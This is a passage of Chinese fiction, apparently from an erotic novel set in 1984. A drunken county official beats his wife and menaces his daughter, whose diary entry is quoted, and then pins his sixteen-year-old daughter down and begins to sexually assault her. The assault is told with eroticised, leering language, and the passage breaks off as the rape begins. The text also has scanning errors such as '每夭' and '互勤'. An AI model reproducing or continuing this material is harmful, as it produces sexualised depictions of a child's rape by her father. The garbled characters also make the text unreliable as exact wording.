他脸红脖子粗地指着厨房方向,吼道:「赵如芸,你看看你教的好女儿。放
学回家看到老子也不叫一声爸爸,连饭都不跟老子一起吃。好,你不想跟老子一
起吃饭,是吗?老子偏要你跟我吃。」说着跌跌撞撞跑到张丽婕卧室门前,老拳
猛砸房门,把装修精美的大门砸得「砰砰」直响。

「开门!开门!你这个不孝女,老子养你这么大,连顿饭都不肯陪老子吃,
贱女人就是贱女人,跟你妈一个德行,敬酒不吃吃罚酒,开门!」

砰砰砰……一阵巨响,砸得赵如芸母女心惊胆颤。

赵如芸虽然为人懦弱,又很怕喝醉酒的张天森,但母爱胜过一切,虽然房里
没有声音,但她知道张丽婕一定害怕得躲在被窝。

赵如芸冲上去拉住张天森,尖叫道:「小婕会害怕的,我求求你,别砸了!」

「不行,今天老子不高兴,要女儿来陪我喝酒!」张天森把手一甩,赵如芸
一个踉跄,摔翻在地。张天森又砸门,嘴里骂骂咧咧,什么恶毒的话都骂出来。
有人会骂自己女儿是妓女、婊子吗?张天森会,而且他还骂得很起劲,连说带唱。

「我陪你喝,求求你,别再骂了……呜……」赵如芸死命地抱住张天森的脚。

张天森砸了半天门,手上隐隐有些痛了,眯着醉眼看着地上的赵如芸,道:
「你……呃,你……陪我喝?」

「嗯,我陪你喝,来,咱们到那里坐!」赵如芸见张天森回心转意,大喜,

随便用衣袖擦了两把眼泪,拖着张天森回到桌边。

「好、好,喝、喝……」张天森端起茅台酒,颤颤巍巍跟赵如芸碰杯,一杯
酒洒出大半,只剩小半留在杯中。

赵如芸哪里喝得了酒?才喝下一小口就呛得流眼泪,可张天森强逼着让她喝。
赵如芸也不笨,喝的时候往脖子里倒,冰冷的酒把她内衣全浸湿,但这样总好过
醉后头痛。

张天森酒到杯干,不到半个小时就醉倒在桌上不醒人筝。

赵如芸趁着难得的机会帮张丽婕送饭。

「小婕,吃饭了。你爸已经醉倒了,把门打开吧。」

门内响起开锁声,赵如芸把门打开,推门而入,却见张丽婕正在看电视。

赵如芸对张丽婕说:「吃饭了,吃饭时最好不要看电视。」

「不用你管,出去!」张丽婕冷冰冰地对她说。

赵如芸叹口气,欲言又止,终究找不出什么话安慰张丽婕。像今天这种事,
张天森每个月都要发作好几次。

张丽婕的年纪处于叛逆期,赵如芸很担心她的心理状况,又不知如何解决,
只能说:「快点吃吧,饭凉了对胃不好。」

「我叫你出去!」张丽婕指着门,瞪着赵如芸。

赵如芸无奈地离开。

张丽婕呆呆地指着门,一动也不动,良久,一行热泪流到嘴边,又咸又涩。

张丽婕转身扑到被上,在被窝里哭喊道:「妈妈,我恨你、我恨你,可我又
爱你!我不想对你这样,你为什么不去反抗呢?呜……」

张丽婕用心良苦,试图用各种方式激起赵如芸的反抗意识。赵如芸却是爱女
如命,根本舍不得呵叱张丽婕一声。

张丽婕哭累了,肚子也饿了。她爬起来端起热腾腾的饭菜,吃着赵如芸亲手
烹饪的饭菜,心里美滋滋的。她知道,就算这个父亲不爱她,她还有妈妈。

张丽婕把饭菜吃得干净,擦了擦嘴,关了电视,便拿出一把钥匙,郑重其事
地打开一个抽屉。抽屉里摆了一本上锁的日记本,她又拿出一把钥匙打开小锁。

写日记是张丽婕每天必做的一件事。

一九八四年三月二十一日,星期三,晴。

妈妈,我爱你,但是,妈妈,我又恨你。

我恨你的懦弱、我恨你对悲惨命运的低头、我恨你不去反抗。可是,妈妈,
我又爱你,妈妈,你知道吗?我是那么爱你。

每夭我都会把自己关在房里,打开日记本,把这夭我和你的互勤,记录在日
记本里。即使是小小的一句对话,我也会仔仔细细地记下……

张丽婕对赵如芸的爱已经达到疯狂的程度。

张丽婕这个年纪正是朝思暮想白马王子的时候,可是她从小知道赵如芸的苦、
赵如芸的累,更懂赵如芸的心。她爱赵如芸,因为这个世界上只有赵如芸是真真
正正、毫无保留地爱她。白马王子?男人都是贱货、负心汉。张丽婕深受父母亲
的影响,是这么对男人下定义。

学校里的女同学嫉妒她有个县长爸爸,人又长得漂亮,所以,无论她的成绩
多么优异,女同学都会在背地里说:「还不是因为她爸的关系!老师们当然要巴
结她,给她高分啦。」

男同学则见她长得美,一个个像苍蝇似的飞过来,赶都赶不走。学校里也有
漂亮女孩子,为什么她身边特别多「苍蝇」呢?还不是因为她有个当县长的老爸!

张丽婕将男同学们的甜言蜜语当作「苍蝇叫」。

张丽婕认为这世上只有赵如芸是真正爱她,于是她整天想着如何激起赵如芸
「反抗生活」的念头,然而赵如芸一次又一次地令她失望,失望之余她总会忍不
住对赵如芸冷嘲热讽;之后则是无尽悔意,因为她竟然对最敬爱的妈妈说狠话。

张丽婕轻轻合上日记本,然后做永远也做不完的作业。

当她正准备洗脸睡觉时,楼上「登登登」一阵响,她打开门,只看到赵如芸
穿着睡衣、掩面奔出的背影。

「妈妈、妈妈,你去哪里啊?」张丽婕担心地追出去,一眨眼的工夫就不见
赵如芸身影。

张丽婕不愿意问站岗的士兵,因为有次他用色眯眯的眼神看她时,被她发现。

找了一会儿,也没找到赵如芸,张丽婕只能失望地回家。

这种事三天两头就会发生一次,站岗的士兵早就见怪不怪。县长夫妻不和在
县府大院早已是公开的秘密,大家只是害怕张天森的淫威,不敢说三道四。

张丽婕回到家,不知家里正有一双血红双眼盯着她。那双眼里充满无尽的慾
火与邪恶,单纯的张丽婕不知道自己正逐渐步入乱伦的深渊……

张丽婕轻轻地推开门,蹑手蹑脚往自己卧室走去,突然一道声音响起,令张
丽婕吓了一跳。

「这么晚死哪去了?」黑暗中,张天森如幽灵般坐在沙发上,问道。

张丽婕不停地拍着胸口,张天森把她吓坏了。

张丽婕一向对张天森没有好感,加上赵如芸又被他赶跑,心里有气,顶了一
句:「你管我上哪?哼,多管闲事多吃屁!」甩头就要回卧室。

张天森大怒,冲过来拦在张丽婕面前,咬牙切齿道:「小贱人,你吃老子的、
用老子的,老子养你这么大,你就是这样回报你老子?」眼中凶光毕露。

张丽婕骇得倒退几步,双手抱胸,她被张天森吓坏了。

眼前的张丽婕愈长愈水灵,完全是赵如芸的年轻版,看她如同小绵羊般害怕
自己,张天森心中邪恶的念头忍不住冒出。

「哼,你妈那老婊子不肯陪老子睡觉,那你来陪我!」

张天森伸手抓向张丽婕,令她吓得小脸煞白。

「不、不,我不要跟你睡、我不要跟你睡……」

「睡个觉又有什么关系?你小时候,老子还天天抱你呢!你是老子的女儿,
老子要睡你就睡你!」张天森打了个酒嗝,眼里红光更盛,赤红双目就像欺骗小
红帽的大灰狼般的邪恶!

张丽婕尖叫着躲过张天森的扑击。

「不要!不行的、不行的!那是我小时候,现在我长大了,不能跟你睡的。」

张天森毕竟是个壮年男子,虽然因为喝了不少酒导致动作变慢,但力量却不
是张丽婕这种小女生可比。

「嘿嘿,看你往哪躲。今晚老子就是要跟自己女儿睡觉。」

张天森趁张丽婕不小心,扯住她的睡衣猛地一拉,令她摔在豪华沙发上。

张丽婕尖叫着倒在沙发上,张天森一个猛扑,两百多斤又肥又臭的身子压在
她清纯身体上。

张丽婕手推脚踢,但哪能踹得动一头两百多斤的肥猪?

「笆、爸,你放开我、放开我……我以后一定听话,放了我吧,我求求
你……」

张天森压着张丽婕,令张丽婕只能拚命挣扎。

酒后本来极易乱性,这一阵禁忌接触令张天森忽生异样刺激感,浑身一颤,
竟然对自己的女儿产生一股强烈至极的慾望。

「嘿嘿,你踢啊、你抓啊!老子今天非把你办了不可。嘿嘿,养了你十六年,
肥水不落外人田……」

「不要!」张丽婕尖叫,又踢又咬,道:「你不是人,你是禽兽,亲生女儿
都不放过。你这个混蛋、恶棍、流氓……」

张丽婕疯狂地叫骂、尖叫,然而她叫得愈是凶狠,张天森就愈兴奋。

「哈哈哈,果然不愧是老子的女儿,比你妈强多了。你妈在床上像个死人,
每次搞她,她都一动也不动。干,老子根本是娶个死人回来,没休了她算是便宜
她。哼,还敢管老子的事?不过她也不错,至少给老子生了这个好女儿……」张
天森一边说,一边在亲生女儿身体上四处乱摸。

「嘶」睡衣被扯破了,张丽婕顿觉天崩地裂,整个世界突然暗下来。

张天森久久不见张丽婕挣扎,发现她瞪大眼睛,眼神空洞望着天花板。他吓
了一跳,探手至她鼻下,道:「吓老子一跳,还以为你死了呢丨,」

张天森摇了摇张丽婕,她还是一动也不动,使得张天森怒气更盛,道:「你
以为这样子,就能让老子放过你?休想!老子今天就帮你开苞!」

禽兽父亲淫笑着扑上亲生女儿的纯洁身体……